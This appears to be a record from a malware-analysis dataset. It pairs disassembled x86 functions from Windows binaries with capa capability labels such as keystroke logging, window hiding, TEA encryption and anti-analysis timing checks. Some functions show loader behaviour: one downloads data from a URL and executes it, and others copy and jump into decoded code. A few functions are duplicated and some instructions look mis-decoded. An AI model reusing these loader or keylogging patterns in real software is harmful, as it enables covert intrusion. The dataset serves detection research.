joyce8/EMBER2024-capa huggingface dataset:
Function at 0x49398b
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
cmp byte [ebp + 8], 0
push esi
mov esi, ecx
je 0x4939d1
cmp dword [esi + 0x18], 0
je 0x4939d1
push dword [esi + 0x18]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x4939d1
push 1
push 5
push dword [esi + 0x18]
mov ecx, esi
mov byte [esi + 0x49], 0
call fcn.00493a33
mov ecx, dword [esi]
add ecx, 0xc
call fcn.004cfc3f
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
jmp 0x493a13
mov ecx, dword [esi]
add ecx, 0xc
mov byte [esi + 0x49], 1
call fcn.004cfc3f
push 5
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
cmp dword [esi + 0x18], 0
je 0x493a09
push dword [esi + 0x18]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x493a09
push 1
push 0
push dword [esi + 0x18]
mov ecx, esi
call fcn.00493a33
mov ecx, dword [esi]
add ecx, 0xc
call fcn.004cfd94
pop esi
pop ebp
ret 4

Function at 0x493b3f
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
mov eax, dword [0x5836e0]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, ecx
test edi, edi
je 0x493bd7
push esi
xor eax, eax
push eax
push 0x8002
push eax
push eax
jmp 0x493bb6
push 0xff
lea eax, [ebp - 0x204]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextW]
test eax, eax
je 0x493bac
push 0x22
pop eax
cmp word [ebp - 0x204], ax
jne 0x493bac
cmp word [ebp - 0x1f6], ax
jne 0x493bac
push 6
lea eax, [ebp - 0x202]
push 0x5242d0
push eax
call fcn.00456c5c
add esp, 0xc
test eax, eax
je 0x493be4
push 0
push 0x8002
push esi
push 0
call dword [sym.imp.USER32.dll_FindWindowExW]
mov esi, eax
test esi, esi
jne 0x493b66
push eax
push 0xfff7
push 0x112
push dword [edi + 0xc]
call dword [sym.imp.USER32.dll_PostMessageW]
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.004f4166
leave
ret
push esi
call fcn.004ea440
pop ecx
jmp 0x493bd6

Function at 0x494000
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa8
mov eax, dword [0x5836e0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
mov dword [ebp - 0xa8], ecx
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [ebp - 0xa8]
mov edi, eax
push 5
push 0x556010
call fcn.00491e14
mov eax, dword [ebp - 0xa8]
mov ecx, dword [eax]
call fcn.004dc00f
mov ecx, dword [ebp - 0xa8]
push eax
push 0x556040
lea eax, [ecx + 0x39ac]
push eax
push ecx
push 0x48a0ba
call fcn.004e6611
mov ecx, dword [ebp - 0xa8]
add esp, 0x14
push 5
push 0x55605c
mov dword [ecx + 0x39a8], eax
call fcn.00491e14
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, edi
cmp eax, 0x9c4
jbe 0x4940b3
push eax
lea eax, [ebp - 0xa4]
push str.v8_Y__
push eax
call fcn.004031fd
mov ecx, dword [ebp - 0xa8]
lea eax, [ebp - 0xa4]
add esp, 0xc
push eax
call fcn.0048a02d
mov eax, dword [ebp - 0xa8]
cmp dword [eax + 0x39a8], ebx
jne 0x4940d4
push ebx
push ebx
push ebx
push ebx
push 0x5560f8
call fcn.00420ad9
add esp, 0x14
jmp 0x4940d6
mov bl, 1
mov ecx, dword [ebp - 4]
mov al, bl
pop edi
xor ecx, ebp
pop ebx
call fcn.004f4166
leave
ret
Function at 0x4a1c8d
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [ebp + 0xc]
xor ebx, ebx
cmp esi, 0x100
jb 0x4a1d78
cmp esi, 0x101
jbe 0x4a1cbd
lea eax, [esi - 0x104]
cmp eax, 1
ja 0x4a1d78
cmp dword [ebp + 0x10], 0x46
jne 0x4a1d78
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x11
call edi
mov ecx, 0x8000
test cx, ax
je 0x4a1d01
push 0x12
call edi
mov ecx, 0x8000
test cx, ax
jne 0x4a1d01
push 0x10
call edi
mov ecx, 0x8000
test cx, ax
jne 0x4a1d01
mov dword [ebp + 0xc], 0x8024
jmp 0x4a1d32
push 0x12
call edi
mov ecx, 0x8000
test cx, ax
je 0x4a1d77
push 0x11
call edi
mov ecx, 0x8000
test cx, ax
jne 0x4a1d77
push 0x10
call edi
mov ecx, 0x8000
test cx, ax
jne 0x4a1d77
mov dword [ebp + 0xc], 0x8028
cmp esi, 0x100
je 0x4a1d42
cmp esi, 0x104
jne 0x4a1d70
mov ecx, dword [0x5a4f6c]
lea edi, [ebp - 0xc]
xor eax, eax
stosd dword es:[edi], eax
push ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp + 8]
push eax
call fcn.004a2209
test al, al
je 0x4a1d77
push ebx
push ebx
push dword [ebp + 0xc]
push dword [ebp - 8]
call dword [sym.imp.USER32.dll_PostMessageW]
mov eax, dword [ebp + 0x18]
mov dword [eax], ebx
mov bl, 1
pop edi
pop esi
mov al, bl
pop ebx
leave
ret

Function at 0x4a1ff2
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0
mov eax, dword [ebp + 8]
cmovne eax, dword [ebp + 0xc]
push eax
push 0x4a1909
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_EnumChildWindows]
push esi
push 0
add bh, bh
adc eax, sym.imp.KERNEL32.dll_GetModuleHandleW
mov ebx, eax
mov ebp, 0x5835c8
mov eax, dword [ebp + 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, eax
mov eax, dword [ebp + 0x58]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, eax
mov eax, dword [ebp + 0x58]
push eax
push 0
push edx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
xor ecx, ecx
mov eax, dword [ebp + 0x30]
mov edx, dword [eax + ecx]
mov dword [ecx + edi], edx
add ecx, 4
cmp ecx, 0x88
jl 0x4a2057
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ecx
add byte [ebx + 0x74ff85f8], cl
pop edx
lea esi, [esp]
push esi
mov esi, dword [ebp + 0x50]
mov eax, dword [ebp]
push eax
push 0x6000
push esi
call edi
mov eax, dword [ebp + 0x4c]
push 8
pop edx
add ebx, eax
mov ecx, dword [ebx + 4]
mov eax, dword [edx + ebx]
add eax, ecx
mov dword [edx + esi], eax
add edx, 4
cmp edx, 0x6000
jl 0x4a2097
mov edx, dword [ebp + 0x14]
lea eax, [esp]
push eax
mov dword [esi + 8], edx
push dword [esp + 4]
push 0x6000
push esi
call edi
mov edx, dword [esi + 0xc]
add edx, esi
mov eax, dword [ebp + 0x34]
add edx, eax
mov ebp, dword [ebp + 0x34]
add esi, ebp
push esi
call edx
pop eax
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4a200f
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0
mov eax, dword [ebp + 8]
cmovne eax, dword [ebp + 0xc]
push eax
push 0x4a1909
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_EnumChildWindows]
push esi
push 0
add bh, bh
adc eax, sym.imp.KERNEL32.dll_GetModuleHandleW
mov ebx, eax
mov ebp, 0x5835c8
mov eax, dword [ebp + 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, eax
mov eax, dword [ebp + 0x58]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, eax
mov eax, dword [ebp + 0x58]
push eax
push 0
push edx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
xor ecx, ecx
mov eax, dword [ebp + 0x30]
mov edx, dword [eax + ecx]
mov dword [ecx + edi], edx
add ecx, 4
cmp ecx, 0x88
jl 0x4a2057
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ecx
add byte [ebx + 0x74ff85f8], cl
pop edx
lea esi, [esp]
push esi
mov esi, dword [ebp + 0x50]
mov eax, dword [ebp]
push eax
push 0x6000
push esi
call edi
mov eax, dword [ebp + 0x4c]
push 8
pop edx
add ebx, eax
mov ecx, dword [ebx + 4]
mov eax, dword [edx + ebx]
add eax, ecx
mov dword [edx + esi], eax
add edx, 4
cmp edx, 0x6000
jl 0x4a2097
mov edx, dword [ebp + 0x14]
lea eax, [esp]
push eax
mov dword [esi + 8], edx
push dword [esp + 4]
push 0x6000
push esi
call edi
mov edx, dword [esi + 0xc]
add edx, esi
mov eax, dword [ebp + 0x34]
add edx, eax
mov ebp, dword [ebp + 0x34]
add esi, ebp
push esi
call edx
pop eax
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4a2011
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0
mov eax, dword [ebp + 8]
cmovne eax, dword [ebp + 0xc]
push eax
push 0x4a1909
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_EnumChildWindows]
push esi
push 0
add bh, bh
adc eax, sym.imp.KERNEL32.dll_GetModuleHandleW
mov ebx, eax
mov ebp, 0x5835c8
mov eax, dword [ebp + 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, eax
mov eax, dword [ebp + 0x58]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, eax
mov eax, dword [ebp + 0x58]
push eax
push 0
push edx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
xor ecx, ecx
mov eax, dword [ebp + 0x30]
mov edx, dword [eax + ecx]
mov dword [ecx + edi], edx
add ecx, 4
cmp ecx, 0x88
jl 0x4a2057
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ecx
add byte [ebx + 0x74ff85f8], cl
pop edx
lea esi, [esp]
push esi
mov esi, dword [ebp + 0x50]
mov eax, dword [ebp]
push eax
push 0x6000
push esi
call edi
mov eax, dword [ebp + 0x4c]
push 8
pop edx
add ebx, eax
mov ecx, dword [ebx + 4]
mov eax, dword [edx + ebx]
add eax, ecx
mov dword [edx + esi], eax
add edx, 4
cmp edx, 0x6000
jl 0x4a2097
mov edx, dword [ebp + 0x14]
lea eax, [esp]
push eax
mov dword [esi + 8], edx
push dword [esp + 4]
push 0x6000
push esi
call edi
mov edx, dword [esi + 0xc]
add edx, esi
mov eax, dword [ebp + 0x34]
add edx, eax
mov ebp, dword [ebp + 0x34]
add esi, ebp
push esi
call edx
pop eax
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4a2071
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0
mov eax, dword [ebp + 8]
cmovne eax, dword [ebp + 0xc]
push eax
push 0x4a1909
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_EnumChildWindows]
push esi
push 0
add bh, bh
adc eax, sym.imp.KERNEL32.dll_GetModuleHandleW
mov ebx, eax
mov ebp, 0x5835c8
mov eax, dword [ebp + 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, eax
mov eax, dword [ebp + 0x58]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, eax
mov eax, dword [ebp + 0x58]
push eax
push 0
push edx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
xor ecx, ecx
mov eax, dword [ebp + 0x30]
mov edx, dword [eax + ecx]
mov dword [ecx + edi], edx
add ecx, 4
cmp ecx, 0x88
jl 0x4a2057
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ecx
add byte [ebx + 0x74ff85f8], cl
pop edx
lea esi, [esp]
push esi
mov esi, dword [ebp + 0x50]
mov eax, dword [ebp]
push eax
push 0x6000
push esi
call edi
mov eax, dword [ebp + 0x4c]
push 8
pop edx
add ebx, eax
mov ecx, dword [ebx + 4]
mov eax, dword [edx + ebx]
add eax, ecx
mov dword [edx + esi], eax
add edx, 4
cmp edx, 0x6000
jl 0x4a2097
mov edx, dword [ebp + 0x14]
lea eax, [esp]
push eax
mov dword [esi + 8], edx
push dword [esp + 4]
push 0x6000
push esi
call edi
mov edx, dword [esi + 0xc]
add edx, esi
mov eax, dword [ebp + 0x34]
add edx, eax
mov ebp, dword [ebp + 0x34]
add esi, ebp
push esi
call edx
pop eax
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x4a36d3
Capabilities:
Write file on windows

Disassembly:
mov ecx, dword [0x5a23f0]
push 0x22
call fcn.0046ab86
test eax, eax
je 0x4a36eb
mov ecx, eax
jmp fcn.004ae7dc
ret
Function at 0x4d811a
Capabilities:
Log keystrokes via polling

Disassembly:
cmp dword [0x5a5520], 0
je 0x4d8147
push 1
call dword [sym.imp.USER32.dll_GetKeyState]
mov ecx, 0x8000
test cx, ax
jne 0x4d813a
call fcn.004d7315
mov eax, dword [0x5a5520]
test eax, eax
je 0x4d8147
mov eax, dword [eax + 0xc]
ret
xor eax, eax
ret
Function at 0x4d942f
Capabilities:
Terminate process

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x4c
mov eax, dword [str.kernel32.dll]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
sub esp, 4
mov dword [esp + 0x2c], eax
mov eax, dword [0x583620]
mov dword [esp + 0x38], 0
mov dword [esp], 0
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
sub esp, 8
mov ebx, eax
mov dword [esp + 8], 0x104
mov dword [esp + 4], eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor ecx, ecx
xor eax, eax
sub esp, 0xc
jmp 0x4d9498
test dx, dx
je 0x4d94af
add eax, 1
movzx edx, word [ebx + eax*2]
cmp dx, 0x5c
jne 0x4d9490
mov ecx, eax
jmp 0x4d9495
lea edi, [ebx + ecx*2 + 2]
mov ebx, dword [0x583624]
mov ecx, dword [ebx]
test ecx, ecx
je 0x4d94ec
movzx eax, word [edi]
test ax, ax
je 0x4d965d
lea edx, [edi + 2]
xor ecx, ecx
add edx, 2
add ecx, eax
movzx eax, word [edx - 2]
test ax, ax
jne 0x4d94d0
cmp dword [ebx + 4], ecx
je 0x4d94ec
cmp dword [ebx + 8], ecx
jne 0x4d9650
mov eax, dword [0x583610]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov eax, dword [str.InternetOpenA]
sub esp, 4
mov dword [esp], esi
mov dword [esp + 4], eax
call ebx
mov ebp, eax
mov eax, dword [str.InternetOpenUrlA]
sub esp, 8
mov dword [esp], esi
mov dword [esp + 4], eax
call ebx
sub esp, 8
mov dword [esp + 0x28], eax
mov eax, dword [str.InternetReadFile]
mov dword [esp], esi
mov dword [esp + 4], eax
call ebx
mov esi, eax
mov eax, dword [str.keblah]
sub esp, 8
mov dword [esp + 0x3c], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], eax
call ebp
sub esp, 0x14
test eax, eax
je 0x4d9650
mov ecx, dword [0x5835e4]
mov dword [esp], eax
mov edx, dword [str.https:__cedar.buffalo.edu_pwrob_jokes_techie_programmers_evolution.txt]
mov dword [esp + 0x14], 0
mov dword [esp + 0xc], 0
mov eax, dword [esp + 0x28]
mov dword [esp + 8], 0
mov dword [esp + 0x10], ecx
mov dword [esp + 4], edx
call eax
sub esp, 0x18
test eax, eax
je 0x4d9650
mov edx, dword [0x583620]
lea ecx, [esp + 0x3c]
mov dword [esp], eax
lea ebp, [edi + 0x20a]
mov dword [esp + 0xc], ecx
mov dword [esp + 4], ebp
mov dword [esp + 8], edx
call esi
sub esp, 0x10
test eax, eax
je 0x4d9650
mov ecx, dword [esp + 0x3c]
test ecx, ecx
je 0x4d9650
add ecx, ebp
cmp ebp, ecx
je 0x4d9650
mov esi, dword [edi + 0x20a]
xor eax, eax
lea esi, [esi]
mov edx, dword [0x5835d4]
mov edi, dword [edx + eax]
add edi, esi
mov dword [ecx + eax], edi
add eax, 4
cmp eax, 0x80
jne 0x4d95ff
mov eax, dword [esp + 0x2c]
mov dword [esp + 4], ecx
mov dword [esp], eax
call ebx
push edx
push edx
test eax, eax
je 0x4d9650
mov edx, dword [0x5835cc]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], edx
lea edx, [esp + 0x38]
mov dword [esp], edx
call eax
sub esp, 0x10
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor ecx, ecx
jmp 0x4d94de
Function at 0x4db8c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd4
mov eax, dword [0x5836e0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
push edi
mov edi, dword [ebp + 8]
test esi, esi
je 0x4db93f
xor ebx, ebx
mov dword [ebp - 0xd4], ebx
cmp dword [esi + 0xf8], ebx
je 0x4db93f
push edi
push dword [esi + 0x1f8]
push dword [esi + 0x1f4]
push dword [esi + 0x1ec]
push dword [esi + 0x1e8]
call fcn.004a0d5d
add esp, 0x14
push ebx
push 0x80
push 2
push ebx
push 1
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4db952
push ebx
push ebx
push ebx
push ebx
push str.Cant_create_file_
call fcn.00420ad9
add esp, 0x14
xor al, al
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004f4166
leave
ret 4
mov ecx, dword [esi + 0xfc]
push 1
call fcn.0040f028
mov edx, eax
mov ecx, edx
lea ebx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, word [ebp - 0xd4]
jne 0x4db966
sub ecx, ebx
xor eax, eax
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
push eax
sar ecx, 1
lea eax, [ebp - 0xd0]
push eax
lea eax, [ecx + ecx]
push eax
push edx
push edi
call ebx
movsx eax, word [esi + 0x192]
push eax
movsx eax, word [esi + 0x190]
push eax
push dword [esi + 0x158]
lea eax, [ebp - 0xcc]
push dword [esi + 0x154]
push str._r_nSize:__ix_i___Cursor:__ix_i_r_n
push eax
call fcn.00409b7d
lea ecx, [ebp - 0xcc]
add esp, 0x18
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, word [ebp - 0xd4]
jne 0x4db9ca
xor eax, eax
sub ecx, edx
push eax
sar ecx, 1
lea eax, [ebp - 0xd0]
push eax
lea eax, [ecx + ecx]
push eax
lea eax, [ebp - 0xcc]
push eax
push edi
call ebx
xor eax, eax
push eax
lea eax, [ebp - 0xd0]
push eax
mov eax, dword [esi + 0x158]
imul eax, dword [esi + 0x154]
add eax, eax
push eax
push dword [esi + 0x28c]
push edi
call ebx
xor eax, eax
push eax
lea eax, [ebp - 0xd0]
push eax
mov eax, dword [esi + 0x158]
imul eax, dword [esi + 0x154]
imul eax, eax, 0x18
push eax
push dword [esi + 0x294]
push edi
call ebx
xor eax, eax
push eax
lea eax, [ebp - 0xd0]
push eax
mov eax, dword [esi + 0x158]
imul eax, dword [esi + 0x154]
add eax, eax
push eax
push dword [esi + 0x290]
push edi
call ebx
xor eax, eax
push eax
lea eax, [ebp - 0xd0]
push eax
mov eax, dword [esi + 0x158]
imul eax, dword [esi + 0x154]
imul eax, eax, 0x18
push eax
push dword [esi + 0x298]
push edi
call ebx
mov ecx, dword [esi + 0xf8]
test ecx, ecx
je 0x4dba93
push edi
call fcn.004861f9
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x4db941
Function at 0x40724b
Capabilities:
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
and dword [ebp - 0x14], 0
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x38], edi
mov eax, dword [edi]
mov dword [ebp - 8], eax
mov eax, dword [edi + 4]
mov dword [ebp - 0x1c], eax
mov eax, dword [esi]
mov dword [ebp - 0x30], eax
mov eax, dword [esi + 4]
mov dword [ebp - 0x34], eax
call fcn.0040718f
mov ebx, dword [ebp - 0x14]
mov eax, dword [esi + 8]
add ebx, 0x23f
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x28], eax
mov eax, dword [esi + 0xc]
push 0x20
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x2c], eax
pop edi
mov dword [ebp - 0x20], 2
add dword [ebp - 0x20], 3
mov esi, dword [ebp - 8]
mov eax, esi
mov ecx, dword [0x713d94]
shl eax, 4
mov dword [ebp - 4], eax
cmp ecx, 0xc
jne 0x4072d6
push 0x401130
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, dword [ebp - 8]
mov eax, dword [ebp - 4]
mov ecx, dword [0x713d94]
mov edx, dword [ebp - 0x1c]
add eax, dword [ebp - 0x28]
cmp ecx, 0xfa9
mov dword [ebp - 4], eax
mov eax, dword [0x713dd8]
mov dword [ebp - 0x24], 0xedeb2e40
cmove eax, dword [ebp - 0x24]
and dword [ebp - 0x24], 0
cmp ecx, 0x3eb
mov dword [0x713dd8], eax
mov eax, dword [0x713de0]
cmove eax, dword [ebp - 0x24]
mov dword [0x713de0], eax
lea eax, [ebx + esi]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 8]
shr eax, 5
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x2c]
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
and dword [ebp - 0x18], 0
mov dword [0x713ddc], 0xf4ea3dee
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x24]
add dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
xor dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x10]
xor eax, dword [ebp - 0x1c]
sub edx, eax
mov dword [ebp - 0x10], eax
mov eax, edx
mov dword [ebp - 0x1c], edx
shl eax, 4
mov dword [ebp - 0x18], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x30]
add dword [ebp - 4], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0x14]
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
nop
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x20]
mov eax, edx
shr eax, cl
add eax, dword [ebp - 0x34]
mov dword [ebp - 0x10], eax
xor eax, dword [ebp - 0x24]
xor dword [ebp - 4], eax
mov eax, dword [ebp - 4]
sub dword [ebp - 8], eax
add ebx, 0x61c88647
mov dword [ebp - 0x14], ebx
dec edi
jne 0x40729b
mov edi, dword [ebp - 0x38]
mov eax, dword [ebp - 8]
mov dword [edi], eax
mov dword [edi + 4], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4073b5
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, edx
shr esi, 3
push edi
mov edi, ecx
test esi, esi
je 0x4073f3
cmp dword [0x713d94], 0x959
jne 0x4073e3
push 0
call dword [sym.imp.KERNEL32.dll_AttachConsole]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov edx, dword [ebp + 8]
mov ecx, edi
call fcn.0040724b
add edi, 8
dec esi
jne 0x4073c5
pop edi
pop esi
pop ebp
ret 4
Function at 0x410baf
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4350d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0040a7e3
mov dword [ebp - 0x14], eax
cmp dword [0x714b74], esi
jne 0x410ca2
push 0x800
push esi
push 0x40512c
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x410c2f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x410d82
push esi
push esi
push 0x40512c
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x410d82
push 0x405144
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x410d82
push eax
call ebx
push 0x405150
push edi
mov dword [0x714b74], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x405160
push edi
mov dword [0x714b78], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x405174
push edi
mov dword [0x714b7c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x714b84], eax
test eax, eax
je 0x410c9f
push 0x405190
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x714b80], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x410cc7
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x410cba
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x410cdc
push 4
pop eax
jmp 0x410d84
cmp dword [ebp - 0x14], esi
je 0x410cdc
push dword [0x714b74]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x410cc1
mov eax, dword [0x714b80]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x410d3a
cmp dword [0x714b84], edi
je 0x410d3a
push eax
call ebx
push dword [0x714b84]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x410d3a
test eax, eax
je 0x410d3a
call ecx
test eax, eax
je 0x410d2f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x410d2f
test byte [ebp - 8], 1
jne 0x410d3a
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x410d6a
mov eax, dword [0x714b78]
cmp eax, edi
je 0x410d67
push eax
call ebx
test eax, eax
je 0x410d67
call eax
mov esi, eax
test esi, esi
je 0x410d67
mov eax, dword [0x714b7c]
cmp eax, edi
je 0x410d67
push eax
call ebx
test eax, eax
je 0x410d67
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x714b74]
call ebx
test eax, eax
je 0x410d82
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x410d84
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409e1e
mov esp, ebp
pop ebp
ret